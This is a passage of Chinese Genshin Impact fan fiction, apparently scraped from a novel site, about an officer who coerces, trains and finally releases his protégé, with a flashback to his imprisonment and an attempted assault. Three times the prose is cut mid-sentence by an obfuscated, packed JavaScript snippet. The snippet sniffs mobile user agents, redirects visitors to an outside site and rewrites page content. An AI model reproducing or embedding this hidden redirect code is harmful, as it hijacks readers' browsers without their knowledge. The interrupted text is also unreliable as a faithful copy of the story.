月见里清也察觉到他的那些小动作,跟他闲聊:“听说你这几次小组训练都是第一?我记得我没有安排你去跟他们一起训练。” 小孩子藏不住心事,梅瑞狄斯闻言两只耳朵立马竖起来,面上依然沉稳道:“是我自己想去的,老师。” “还不错。”月见里清也随口夸了句,“看来可以进行下一阶段了。” 梅瑞狄斯闻言抬头望向月见里清也,开心之情溢于言表。月见里清也见状借着翻文件的动作遮住上钩的嘴角,心道:果然。 “你也知道,我带你回来的初衷并不是可怜你。”月见里清也转了话题,对于这种迟早会挑开的事情,他更喜欢直接开门见山。 月见里清也直视着梅瑞狄斯:“我接下来要你做的事并不难,举个简单的例子,一样长的木板做成的水桶才能盛更多的水,如果其中一块木板短了,水就会从空隙中流出去。” “假如第六席就是这个‘水桶’,现在这个集体里出现了不属于这里甚至腐烂坏掉的短木板,我要你在不打草惊蛇的情况下把他们全都揪出来。” 除了其他人安插的眼线,甚至不忠心的、偷奸耍滑的等等,月见里清也一个都不留。他要将第六席变成真正的‘铁板’,一切都要在他乃至散兵的掌控之下,第六席就是独属于执行官的所有物。变成真正意义上,属于散兵自己的第六席。 面对月见里清也的视线,梅瑞狄斯如芒在背,一时间不知道该如何回答。月见里清也收放自如,欣赏够了梅瑞狄斯那副窘迫样。这才缓缓收回视线,眨眼间又恢复了平日里那副慵懒地模样,在送来的文件上签好名字。 梅瑞狄斯如蒙大赦,但就在他准备拿回文件一瞬间,月见里清也突然用手指按住纸张,他稍微一用劲,纸张依旧纹丝不动,只好皮笑肉不笑道:“大人,您松一下手。” “怎么,不装了?”月见里清也撩起眼皮看他,“为什么不叫老师了,是因为你终于发现我不会真正教你,只是拿你当工具用?” “我从一开始就说过了,我不是什么大善人,愚人众也不是慈善机构。这么大的训练场你用着,还要我免费给你教学,你拿我当什么?免费的的陪练?”月见里清也似笑非笑,将那张简陋的地图甩在梅瑞狄斯面前,“你自找的。” 20. 越千山 梅瑞狄斯看着那张地图,像是被人兜头泼了一桶冷水,还没来得及发作的小火苗眨眼就被掐灭,没等他想好对策,脖颈处一凉。 月见里清也摸出随身佩戴的匕首架在他脖颈处,“我给你这个机会,你可以试试是你跑得快,还是我的刀更快。” 梅瑞狄斯僵在原地。 月见里清也说得不错,是他选择了月见里清也,是他自己耐不住几个月的不管不问,自作聪明去训练场偷师,也是他认为在这里学不到东西准备偷偷跑掉的。 家中发生变故之前他只是个在父母关爱里长大的孩子,没有半点心机,他是聪明,但这点聪明在月见里清也恐怖的人生阅历面前什么都不是。 自己真的有能力从第六席跑掉吗?一个十三四的孩子真的有能力去向一个家底深厚的庞大家族复仇吗? 梅瑞狄斯当然知道自己做不到,但复仇蒙蔽了他的双眼,他全凭一腔怒火行事。 直到月见里清也真的把刀架在自己脖子上时,才明白之前三番两次的警告并不是说笑。 眼前的小孩半晌都没动静,月见里清也等得有些不耐烦,“算了,我帮你折个中,把你送去壁炉之家,如何?” 逃就是死,去壁炉之家也未必能活,梅瑞狄斯心知眼下的最优解就是趁着月见里清也没有真正起杀心,赶紧低头认罚。 梅瑞狄斯幅度很小地摇了摇头,既然现在已经无路可退,他深吸一口气,把心一横,冲着月见里清也单膝行礼说:“我……想留在这里。” 月见里清也短促地笑了一声,垂眸俯视着他,“你觉得我会继续收留一个逃兵?” “因为我对您来说还有用。”梅瑞狄斯答道。 月见里清也挑眉:“你在威胁我?” “并不是,我知道大人不会无缘无故带我回来,“因为紧张,梅瑞狄斯声音有些发紧,“哪怕您下定决心让我死,也要用完我的剩余价值不是吗?” 月见里清也的视线陡然锐利起来,那视线落在梅瑞狄斯身上仿佛千钧重,压得他几乎不敢直视月见里清也。 良久,月见里清也才开口:“你很聪明,但是聪明的人不一定会在愚人众活下去。滚起来,从现在开始认清自己的地位,再有下次我会直接杀了你。” 梅瑞狄斯拿着文件离开办公室时脸色惨白,随着他一同离开的还有一条不知道从哪里流传出来的八卦消息。 八卦说,被月见里副官带回来的梅瑞狄斯犯了事惹恼了大人,被大人一顿训斥,现在已经被调职到先遣队去了。由于八卦涉及散兵、月见里清也和几个月来备受瞩目的梅瑞狄斯,其流传速度之快,传播范围之广,几乎无人不知。 达成目的的月见里清也吹着口哨卡点下班,散兵瞧他表情就知道发生了什么,“解决完了?” “嗯哼。”月见里清也心情不错,“不就是个十六七的小男孩吗,这还拿捏不了?” “是吗。”散兵没拆穿他,反而提了另一件事,“真打算认他当学生了?” 月见里清也闻言摇头说:“你知道我根本不适合当老师,我收他进来也是出于我的目的,他帮我完成我的事,我给提供一些便利,互惠互利罢了。” “他要念着这点恩情叫我一声老师也好,不叫也罢,反正都一样。”月见里清也无所谓。 “是互惠互利还是给找了个麻烦,你自己心里清楚。”散兵一针见血地点了出来。 梅瑞狄斯以前怎么样他们不得而知,但现在他急功近利、急躁,的确不是最合适的人选,月见里清也下午的所作所为不过是在借机磨平他的棱角。 月见里清也非常会利用人际关系来达到自己的目的,人际交往对他来说只是手段,一旦他对一段关系有了超过利用的发展,就说明这个人的身上有什么东西触动到他了。 卡斯珀是这样,梅瑞狄斯同理。 “你是从他身上看到了之前的自己吧。”散兵冷静又精准的说出他内心的想法。 月见里清也脸上闪过错愕,慌忙掩饰道:“咳,怎么可能,你猜错了。” 散兵挑眉看他,也不执着这个问题,“你说不是就不是吧。” 虽然嘴上说着“不是就不是”,但意思怎么听怎么像“就是这样”。 月见里清也自知糊弄不过哥哥,他自己也清楚,他就是从梅瑞狄斯身上看到了一丝他过去的痕迹。 虽然四百年的时光过去,如今的村庄早已物是人非,有关那年一切的人和物,早就随着时间湮灭成尘。 但这仍是月见里清也横在心里不愿提及的一件往事。 曾经有段时间里他非常讨厌下雨,因为阴沉潮湿的天气和阵阵雷声会让他想起他掉下山崖的那一夜。 那天他和散兵外出寻找值钱的物件,看看能不能第二天卖掉换些药材,因为木屋里的男孩病的太重了,但只要还有的治,他们就不会放弃。 为了提高效率,他们分头行动,但没一会天空中开始翻滚着乌云,远方逐渐响起沉闷的雷声,看起来像是有一场暴雨要来临,随着雷声的逐渐逼近,空气显得更加闷沉。 雷阵雨在稻妻非常常见,月见里清也并没有把它当回事。直到雨越来越大,天空也越来越黑,他甚至都分不清到底是天黑了还是乌云太浓。 山上没有修路,只有一条人为踩出来的小径,下雨路滑加上碎石又多,他应当是没有踩稳才滑下山崖的。 具体情况月见里清也现在已经记不得了,他只记得自己是被路过的村民捡回村里,又叫了村里的医生来给他处理伤口。 由于异于常人的体质,他的伤口回复速度极快,即使医生有意为他隐瞒,但小小的山村也就那么几户人家,纸是保不住火的。 月见里清也就在众人的猜测下养好了自己的伤,就在他准备离开的前一天,一个远赴踏鞴砂打工的人回到了村子,打破了这微妙的平衡。 月见里清也和散兵的身份在踏鞴砂早已不是秘密,他和哥哥离开踏鞴砂也正是因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896359|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那位御裕大人需要一个替罪羊,甚至不惜发布悬赏。 而那位打工的村民,自然也认出了月见里清也。山村闭塞,村里只有在外边开了家医馆的弥生长月家还富裕一点,因为他会医术,能吃得起这碗饭,其他人都是穷得叮当响。 所以在打听到踏鞴砂的大人们正花重金通缉月见里清也时,一个个的都不免动了歪心思。 这时弥生长月早已离开山村前去经营医馆,家里只剩下他的妹妹,小女孩自然不能抵挡住村里那些五大三粗的男人们,他们以人数优势将月见里清也扣下,关在屋里。 心生愤慨的月见里清也念及村里的妇女老幼还要依靠这些男人们出力养家,没有与他们发生冲突,只想等着在夜深人静趁着看守松懈时逃走,不料有人生出了比拿人命换钱更肮脏的想法。 人心的欲望是一头怪兽,它不仅仅沉醉于金钱与权利,更沉迷于人类最原始的性。对于野兽来说,这是本能,他不会遵循世俗礼法的约束,更不会在乎月见里清也是个男人。 “长得好看就行了,其他的重要吗?” 这句话就像一道鞭子,狠狠地抽碎了月见里清也对人类都是友好和善的幻想。 不重要吗? 月见里清也问自己。 他是个活生生的人,一个有着自我意识和思想的人。 不是物品。 一股前所未有的怒火从心底而起,爆发过后,他对眼前人剩下的只有恶心与仇恨。 男人想要□□他的想法未遂,反而还差点被他活活掐死。村民也意识到月见里清也并不是手无缚鸡之力的人,再也没人动那龌龊心思,只是将困住他的草绳换成铁锁。 不过这也并没有困住他,他逃出之日,报复性的在村里升起一把火,想要把整个村子都付之一炬。 但是他最后没有这样做,因为哥哥及时找到了他。或许是散兵的到来让他一直紧绷的弦松懈下来,他剩下不多的理智也一同回来了。 最后月见里清也没有选择四处点火烧了整个村庄,只是烧了囚着他的那座屋子。 几百年后月见里清也十分庆幸散兵及时找着了他,不然那把火可能会直接烧死弥生长月的妹妹。 对于月见里清也而言逃离山村并不是结束,反而是噩梦的开始,他意识到那晚的经历就像影子一样时时刻刻的跟着他,提醒他,让他不要忘记自己经历了什么。 他开始抗拒跟任何人接触,包括自己的哥哥。 就这么浑浑噩噩的过了几年,月见里清也在见过形形色色的人后,他意识到自己不能再活在那群人的阴影之下。 世上所有人的生活都不会一帆风顺,你可以被绊住,可以困惑,可以迷茫,但你不能停留在深渊里任凭它将你埋没,一辈子活在阴影里。 自己拥有多出别人几倍的生命,为什么要让几个渺小的败类困住自己一生? 过去的阴霾不会成为我的绊脚石,我会为我自己而活,甚至活的更加绚烂。 21. 二十年后 不久后梅瑞狄斯被调到先遣队工作,也算无形中证实了八卦的真实性。逐渐从众人视线里消失的梅瑞狄斯逐渐混入底层士兵中,开始了他双面间谍的生活。 几个月后,一份小名单递到月见里清也手上,名单用特殊渠道送来,没有假借他人之手,除了散兵、月见里清也和梅瑞狄斯,不会有第四个人知道这份名单的存在。 当然在将这份名单报给执行官大人之前,月见里清也会再打探一二,以确保名单的真实性,不是梅瑞狄斯糊弄出来的。 好在梅瑞狄斯也知月见里清也的容耐度也是有限的,几次下来还算老实,准确度也高。 名单送来的时间不定,里面的数量也有长有短,月见里清也根据实际情况调整,将每次清扫出去的合理的控制在人事变动的范围内。 随着老士兵的退休,梅瑞狄斯也看着不少新兵入伍,月见里清也每年也会趁机往上调一调他的职位,时间一久,他也就成了新兵口中的“长官”,处事也更加圆滑、沉稳。 扳倒贵族而引发的一次“参军热”并没有持续一阵就消退下去,随着新政改革和大力度的宣传,现在第六席的人数已经比二十年前的几倍还要多了。 参军的人数激增并没有出现吃里扒外的情况,一部分原因是散兵一早进行了管理制度的改革,绝大部分原因是因为有梅瑞狄斯这个被安插在士兵中的“间谍”。 随着二十多年的潜伏排查,名单上的人数也越来越少,到后来月见里清也干脆把梅瑞狄斯调回至冬留在身边。 升职加薪分明是一件开心的事,但梅瑞狄斯本人却怎么怎么也开心不起来。他不可能一直留在至冬的,他还要为自己父母复仇。 之前在先遣队时,他大可借着一次意外死遁,但突如其来的一纸调令将他架在这个位置上,让他走也不敢走。 月见里清也借他之手关注着手下士兵异动,自然也会时时刻刻注意到他,梅瑞狄斯的叛逃计划只能暂时偃旗息鼓。 但仇人与他不同,二十年对于短生种的而言几乎是他们人生的五分之一,等到梅瑞狄斯够了年龄顺理成章的退休,仇人都快半截身子入土了。 他不能在等了。 思索至此的梅瑞狄斯有些心烦意乱,索性暂时将这些抛到脑后,敛好情绪,敲响了面前的木门。 在得到允许后梅瑞狄斯推开门,见屋内没有旁人便改了即将说出口的称呼:“老师。” 虽然俩人以前闹得不欢而散,但在梅瑞狄斯还没去往先遣队的那一小段日子里,月见里清也还是尽到了一个老师的义务,战斗、侦查各方面的知识都教给了他。也因此,梅瑞狄斯依然称呼他为“老师”。 办公室里只有月见里清也一人在,他只是略微点头作为回应,梅瑞狄斯见散兵不在后悄悄松了一口气,将手里的文件呈报给月见里清也。 明明长相都差不多,梅瑞狄斯在自己老师前比在大人面前要放松许多。 可能是月见里清也脸上经常带着三分笑意,虽不是出于真心,但也极大的淡化了身上的严肃,让人看着没那么怕他。 反观执行官大人,除了老师,梅瑞狄斯还真想不出来还有谁能在他面前笑着跟他说话的人。 这不仅仅是梅瑞狄斯一人的想法,第六席绝大部分士兵都差不多是这么想的。 他们可能不怎么怕权利过大的月见里清也,但一定会怕他们的执行官大人。 像这种日常交文件的工作,赶巧的文职十分庆幸可以直接交给月见里清也。但月见里清也的工作不止收文件,实在碰不上便只能直接上交给执行官大人。 要撞上执行官脾气不好的时候,他们就只能自认倒霉,所以士兵们会提前多方打听一下有没有可以“顺路”帮忙代交的人。 每当这个时候,为了替月见里清也监督众人而和所有部门都十分熟稔的梅瑞狄斯就只能自认倒霉了。 他今天这一趟,除了自己的要大人签字的文件,还连带着三四份不同部门的文件。 梅瑞狄斯交完文件后悄悄打量着月见里清也的神色,只见他原本还不错的神情,在看到剩下的三份文件眉头微皱,他开口问到:“改行做邮递员了?” “没有,只是……顺路。”梅瑞狄斯辩解着。 月见里清也挑眉,看向那三份文件挨个点名:“审讯科的,财务部,还有我手底下的外交部。这三个部门彼此相隔甚远,你从侦查科出来绕了整个第六席一圈来找的我?” 梅瑞狄斯默默给几个同事点蜡,心说不是我不护着你们,谁叫你们撞枪口上了。然后才说:“……是他们听说我要送文件,才找我帮忙的。” 言下之意就是您骂他们别捎带我一块骂。 虽然月见里清也平时笑盈盈的,但当他决定处理某些问题时,及时地明哲保身才是明确做法,这点梅瑞狄斯已经相当有经验了,更何况他的“本职工作”就是替月见里清也监督士兵们。 这件事不算太大,底下士兵敢这么做也是因为月见里清也有时候睁一只眼闭一只眼,但也不能助长这种风气继续下去,月见里清也将三份文件扔到一旁:“送回去,让他们把文件送到大人哪里去,如果不想干随时可以走人。” 本来是交给月见里清也就可以解决的问题,现在变成了直接交给执行官大人,梅瑞狄斯在心里默默地又给同事们点了一根蜡烛。 经过这件事月见里清也得心情不似刚才那般悠闲,但他最终也没吩咐梅瑞狄斯盯着后续的事,梅瑞狄斯犹豫再三,看到月见里清也还没放平的眉毛,最终还是选择把要说出口的话咽回去,接过文件准备离开办公室。 在即将按动把手推开深褐色木门时,月见里清也叫住他,问了一句:“你打算什么时候走?” 这话说的漫不经心,轻飘飘的,到落在梅瑞狄斯心里却是千斤重,好像一下子又把他扯回了二十多年前的那个下午。 他有些僵硬地回过身,扯了扯嘴角露出一个不怎么好看的笑容:“老师你刚才说什么?” 月见里清也还是刚才那副样子,连眼神都未曾分给梅瑞狄斯分毫,仿佛刚刚只是随口问了一句今晚吃什么。 他没有回答梅瑞狄斯的问题,梅瑞狄斯也没解释,一时间办公室里安静的只有钟表走动的滴滴答答声。 半晌,月见里清也终于看完了手里的文件,抬头看向梅瑞狄斯:“你早就想走,又何必在我面前装呢。” 现在瞒也瞒不下去了,梅瑞狄斯索性问:“老师是怎么知道的?” 月见里清也见他默认,眼神示意他到一旁坐下:“别站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896360|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那里挡着门。” 梅瑞狄斯悄悄地在裤子上将手心的汗蹭掉,松了口气。 一般来说,月见里清也不管生不生气,脸上的表情永远是那副游刃有余,带着三分笑意的。 如果下属惹月见里清也生气,他是绝对不可能心平气和的让对方坐下听他讲话的。眼下月见里清也还让梅瑞狄斯坐下,就说明他现在并不生气。 梅瑞狄斯在一旁的椅子上做好,月见里清也才开口回答他的问题:“我并不知道你要走,只是我猜测你要走了而已。” 还在反思自己那里漏出马脚的梅瑞狄斯闻言有些呆滞。 “怎么了?”月见里清也好笑道,“你东西也学会了,实战经验也有了,第六席里也没有需要你监视的东西了。这时候你不谋划着跑还等什么时候,准备再帮我白打几年工?” 二十年前梅瑞狄斯只是名义上加入了愚人众,财务部不会准备他的工资,月见里清也每个月会走自己的账户给他开工资,不至于让小孩饿死。 他在纸上写下一串数字交给梅瑞狄斯,“走之前去银行里把这个账户的钱取出来,当路费用正好。” 眼见话题从他要走跳到路费的问题,月见里清也真的是在认真的和梅瑞狄斯说离开愚人众的事。 他手里捏着那张纸,还回去不是留下也不是,活像捧着一个烫手山芋:“不,不是,我有存钱·····我的意思是,您就这么让我走了?” “不然呢?”月见里清也向后靠在椅背上,歪头道,“你就不想想为什么你成年了,我依旧不让你入职。” 不入职,就意味梅瑞狄斯从始至终都不是愚人众第六席的一员。也就意味着,梅瑞狄斯离开愚人众,也并不算叛逃。 而他也从未接触过第六席高层事务,月见里清也也不用因为他会泄露情报而去追杀他。 从月见里清也准备留下梅瑞狄斯的那一刻起就想好了要钻这个空子。 梅瑞狄斯想通这个关巧后,看向月见里清也问道:“那……老师准备怎么向大人解释?” “小小年纪,想法忒多。”月见里清也半真半假的感叹一句,但还是解释道:“这就看你的逃脱计划准备的怎么样了,下个月有一队先遣队会离开至冬执行任务,具体要怎么做就看你了。” “至于大人,你还怕我搞不定他?” 梅瑞狄斯对他的后半句话不敢苟同,但月见里清也不做没把握的事,他既然这么说了,当然有他自己的办法。 “就当这是最后一次测试吧,梅瑞狄斯。”月见里清也收了玩笑的神色,认真的看着他,“虽然说你的人生由你自己来决定,但是我还是希望你记住,你的生命比这世上任何东西都要贵重。” 这也当年为什么他要阻拦梅瑞狄斯逃跑的原因——十三四的孩子单杀位高权重的富商简直异想天开,月见里清也不想看他送命,所以拦下了他。 月见里清也也知道他恐怕不会听劝,所以靠威胁逼他就范。如今梅瑞狄斯羽翼渐丰,也接他之手完成了自己想做的事,两不相欠,也该放人走了。 一个月后,梅瑞狄斯作为侦查员随着那支先遣队离开。 不久后传来消息,先遣队遭遇魔物袭击,在死伤报告里梅瑞狄斯那一栏写着:下落不明,疑似死亡。 22. 执行官换代 梅瑞狄斯离开后引出的一些小问题在散兵的默许下,被月见里清也悄无声息的压了下去。只要不刻意提起,几个月后,他也就被其他人淡忘了。 卡斯珀虽然不用出任务,但偶尔还是要因公务出差,出差回来后卡斯珀特地来找月见里清也,把一份报纸亮出来:“你要自己看还是我说结果?” 月见里清也懒得和他费口舌,直接抢过那份报。 卡斯珀翻了一个白眼:“有些人嘴上说着不在意…啧啧啧。” 忙着看报纸的月见里清也没工夫搭理他。 梅瑞狄斯回到枫丹后并没有选择直接杀了仇人,而是耐心潜伏许久收集当年以及他们现在犯罪所留下的证据。 而在他将证据匿名提供给逐影庭后,他没有收手,反而去杀了当年那个杀了他父母的杀手。 逐影庭逮捕了富商的子女们,还有杀了人的梅瑞狄斯。 从人情世故方面来说,梅瑞狄斯是为自己的父母报仇,是二十多年前的受害者。但从律法上来讲,他杀了人,同样犯了罪。 他和那些贵族子女一同被判进梅洛彼得堡,对于那些养尊处优的少爷小姐们来说,梅洛彼得堡的生活不亚于地狱。反而对梅瑞狄斯来说,这也算一个好去处,毕竟来日方长,有些账可以慢慢算。 “要我说这孩子还真是你教出来的,一个都不放过啊。”卡斯珀说。 月见里清也不以为然道,“跟我可不像,我根本不会让他们活着,也不会让官方组织抓到我。” “嘶……”卡斯珀看着他,“咱能说话别和个大反派一样行吗。” 往后的日子与以往并没有什么不同,时光飞逝,愚人众的执行官席位在最近几年得到了极大的变化,除了新个别老换代,原本还有不少空缺的执行官席位,现在已经排到了第十一位。 但最近的备受众人关注的并不是新上任的末席『公子』大人,反而是第四席的『仆人』和她收养的孩子。 跟各种小道消息一同出现的还有回升的气温,至冬短暂的迎来了夏季,街上不再堆着厚厚的积雪。 “斯黛拉!你别跑太远!”卡斯珀冲不远处的一个女孩喊道。 跟他有着同样金发和毛茸茸尾巴的小女孩不走心的应着,回头冲他做了一个鬼脸。 卡斯珀无奈,但也习惯了,“就不该带她出来。” 月见里清也在一旁取笑他,“你现在后悔也晚了。” 卡斯珀家里只有一个妹妹和母亲,妹妹斯黛拉跟他年纪相差二十多岁,现在还在学府进修,母亲因病卧床,全家的开销全靠卡斯珀一人。 这也是他为什么转文职的原因,他的家庭已经经不住任何意外了。 卡斯珀虽然嘴上嫌弃妹妹,眼神依旧紧紧盯住远处的斯黛拉,“先不说她,你听说第四席的事了吗?” 月见里清也压低声音,确保不会被路人听见,“你是指库嘉维娜被刺杀的事?” “嗯。”卡斯珀应着,“你那边有什么消息没有?我出差回来可是什么都不知道。” 月见里清也说:“我知道的和流传的差不多,是被她收养的孩子杀死的。” “但那可是第四席!库嘉维娜的排名比散兵大人还要高,怎么可能被一个小女孩杀死?”卡斯珀不可置信。 月见里清也耸耸肩说:“不知道,你不觉得她那所孤儿院就有问题吗?但我觉得,这次上边没有要严惩的意思。” 卡斯珀抓了抓自己的头发,把斯黛拉喊回来,“看来我转文职是对的,这局势真是越看越看不明白。” 月见里清也本想调侃卡斯珀几句,话还没说出口,远处跑过来一个带着斗篷的身影,慌忙逃窜之间撞到了月见里清也身上。 他被撞的肋骨一痛,下意识扣住那个身影,抬眼一看发现不远处追着身影而来的士兵是第二席的人,原本想把这人推出去的手下意识换了个方向,将人藏到了身后。 卡斯珀看着他的一系列操作脸上闪过一串问号,但追兵以至,他只好揽住斯黛拉防止她被人群冲散。 他语气如常:“发生什么事了?” 卡斯珀虽是文职,但职位也不低,几个追过来的士兵老实回答道:“实验室里有个试验品逃脱了,我们要将她抓回去,不知道长官有没有看见有个带斗篷的身影跑过去?” 卡斯珀回答:“没有。” 另一个士兵接话道:“真的没有看见吗?她刚才明明从这里跑过去……” “说了没看见,你们耳朵出问题了?”月见里清也突然出声,“闹市追人,你们是准备将第二席看护不严,让试验品跑出来的名声让全至冬知道引起群众恐慌吗?” 某些情况下月见里清也自认为自己是个小肚鸡肠的人,他将自己对博士的不喜欢扩散到了第二席的每个人身上,因此语气说不上好听。 卡斯珀皱眉道:“这里只有我妹妹一个小孩子,你的意思是我妹妹是你们要抓的人?” 二人的官衔都比这几位士兵大,闻言他们也开始发怵,慌忙解释道:“不不不,大人我们没有那个意思。” “那还不快走,等着我请你们吃饭?”月见里清也下了逐客令。 几个士兵哪还敢在这里待着,忙不迭的跑了。 几个士兵走后,月见里清也才抽着冷气把按着身影的手抽了回来,卡斯珀注意到他的掌心处被划了一大道口子,殷红的鲜血不断的从里面流出。“你怎么弄的!” 月见里清也还有心情笑出声,冲那个身影略微一抬头。“按着他藏我身后的时候,他在我手上划的,想让我放开他。” 卡斯珀帮着他按压止血,吩咐斯黛拉去商店买酒精和绷带,“你就多余管这事,第二席抓人和你有什么关系?” 月见里清也哼笑着,“话可不能说,能给他们添堵我就开心。” “对不起。”带斗篷的身影将遮在脸上的斗篷往后扯了扯,在斗篷遮挡下是一个长着绿色头发缠着绷带的少女,她不似刚才那般抗拒,但语气仍有些生硬。 “没关系。”月见里清也给人添完堵后心情还不错,甚至还提醒女孩几句:“他们还没走远,你要不想被抓就最好在这里多待一会。” 带着斗篷的少女闻言点了点头,随后站立在一旁不再言语。 月见里清也和卡斯珀注意到女孩身上缠的绑带,彼此对视一眼,联想到她刚刚从第二席跑出来,那她遭遇了什么就再不必多问,直到斯黛拉回来打破了这份沉默。 卡斯珀将酒精撒到月见里清也手心处的伤口上,尽管受伤对月见里清也来说和家常便饭一样,酒精带给伤口的剧烈刺激还是令他眉头紧皱。 斯黛拉将女孩拉到一旁,不让她注视这么血腥淋漓的场面。 卡斯珀之前在底层的时候没少处理过伤员的伤口,三下五除二的包好月见里清也的伤口,将剩下的药交给月见里清也,眼神示意他看向站在巷子里两位女孩:“你打算怎么处理。” 由于附近没有垃圾桶,月见里清也只得将受伤的手带着的那只手套拿在手里,“还能怎么办,她想去哪就去哪,你真以为我养孩子上瘾啊?” “刚从第二席跑出来,戒备心很重。”说完他用好的那一只手拍了一下卡斯珀的肩说:“帮我盯着点,我去买点东西。” 卡斯珀点点头注视着街上的动静,防止那几个士兵突然折返回来,同时分了一部分心看着自己妹妹和那个女孩。月见里清也则拐出巷子,走进街边的一家店铺里。 不一会,月见里清也从那家店铺里走出,由于他的左手受伤,提东西只能由右手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896361|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代劳,一只手拎着一大堆东西过来,看着有些滑稽。 他示意卡斯珀将手里的咖啡接过去,随后冲着远处的两个小身影喊到:“斯黛拉,过来。” 斯黛拉立刻就注意到了月见里清也手里提着的袋子:“这是给我和柯莱的吗?” 月见里清也挑眉,点头道:“对,你们俩一人一包。” 在斯黛拉拿东西这个过程中,她冲二人幅度很小的摇了摇头。 月见里清也说的没错,刚刚脱离险境的少女戒备心很重,即使有斯黛拉这个女生与她交谈,她依旧十分警惕,除了名字其他的半句话都没透露。 月见里清也直接把东西塞斯黛拉怀里,让她们去分。 卡斯珀上下来回审视他两圈:“不知道是不是我的错觉,我发现你收了梅瑞狄斯后好像变得和蔼了点。” 月见里清也一脸“你疯了吗?”的表情看着他:“你喝咖啡喝傻了吧。” 卡斯珀被他这个表情逗乐,丝毫不顾月见里清也的脸越来越黑。等他笑够了才招呼斯黛拉准备离开,临走前想在嘱咐月见里清也一句别跟这个女孩牵扯太深,毕竟月见里清也的身份关系到整个第六席,而那个女孩跟第二席有关系。 月见里清也则摆了摆手,示意让他安心。 等到两人走后,月见里清也不打算跟这个名叫“柯莱”的女孩有太多牵扯,只是将一个钱袋抛向女孩,里面装着他刚刚买东西没有花完的摩拉。 他出门带钱一向不数,全凭出门前的随手一抓,心情好的时候还会多抓点。今天原本就打算给斯黛拉买东西,所以钱袋子里的摩拉还剩下不少。 月见里清也估摸着钱袋里的大体数目说,“这里面的钱够你路费和几件厚衣服的,你要不想再被抓就最好换身行头。” 斯黛拉将大部分吃食都留给了女孩,温饱不成问题后,这些钱留做路费绰绰有余,女孩捧着钱袋看着他,半晌才低低传来一句“谢谢。” 而月见里清也早就离开了巷子。 月见里清也出门一趟就挂了个彩回来,虽不影响日常活动,但依旧醒目无比。 “手怎么回事。”散兵微微皱眉,问道。 月见里清也简略的讲今天下午的事复述了一遍。 由于不是第六席的事务,加上月见里清也也没留下什么证据,这件事便被轻飘飘的揭了过去。 跟散兵复述第二席出现的小篓子相比,月见里清也还是对今下午他参加的会议更感兴趣。 毕竟第四席的变故发生了有一段时间了,对于那位杀掉自己“母亲”的孩子,大家对她的下场众说纷纭。 散兵不紧不慢的端起放在桌上的茶杯,故意吊月见里清也胃口,“你自己先猜猜?” “……”月见里清也一点也不想猜,但这局面倒是他真的可以分析一二,“如果要严惩的话并不会拖这么久,她既然可以击杀第四席,相必实力不容小觑。从愚人众的利益方面来说,我猜,该不会留有她有重用吧?” “嗯。”散兵并未反驳他,只说了结果,“女皇下令赦免她的罪过,由她担任新一任的第四席执行官,赐名‘阿蕾奇诺’。” 月见里清也闻言瞪大了双眼,有些不可置信,“虽然以实力来说没什么问题,但就这当上执行官了?!” 他原本以为是封她个一官半职就算了,没想到最后不追究任何过错,反而直接成了执行官。 散兵见怪不怪,“你也知道愚人众执行官按照力量划分席位,她实力够强,也担的起。” 月见里清也说:“那我要把你打败了第六席执行官的席位可以让我坐坐吗?” 散兵闻言一挑眉,毫不在意:“目标不错,我拭目以待。” 月见里清也:“……” 敷衍。 23. 奇特天象(其一) 至冬的某栋高大宏伟的建筑内,月见里清也和平时一样走楼梯上到三楼,地上铺着厚绒毯子,把走路的声响都吸了进去。 走廊尽头是一扇双开门,此时屋门紧紧关闭,隔绝了里面的刀光剑影。 会议室的大门迟迟不开,月见里清也有些无聊的看向窗外,几分钟后,他兴致缺缺地将视线从窗外收回来,窗外阴雨绵绵,并没有什么可看的。 在走廊内等待了许久会议室的大门才打开,月见里清也迅速回神,迅速迎过去,“大人” “嗯,”散兵应道,见是月见里清也在这等候便问:“都准备好了?” 月见里清也“嗯”了一声,“都准备好了,要是时间急现在就可以走。” 说完后撤一步,稍微落后一点,跟着散兵一块走出去。避免给某些用心不正的人落下闲话,他在这种场合下的礼节都做的很到位。两人也知这里不是什么说话的场所,沉默着离开了会议室。 不久之前,女皇与愚人众筹谋已久的计划终于拉开了帷幕,不过机动待命的第六席并不直接参与任何国家的行动,他们的任务是确保计划的每一步都顺利进行以及处理各种突发情况。 散兵在今天突然接到了临时开会的通知,不出意外的话,多半是碰到需要他们出手的事了。 月见里清也明白这次的任务与之前的任务不同,为此他提前许久就将各个部门统合完毕,如果需要,他们随时可以走。 但他没想到这次的任务竟与夺取七神权柄的的计划无关,他拿着文件从头到尾的看了一遍又一遍,确定自己没看见任何有关七神或者七国的字眼。 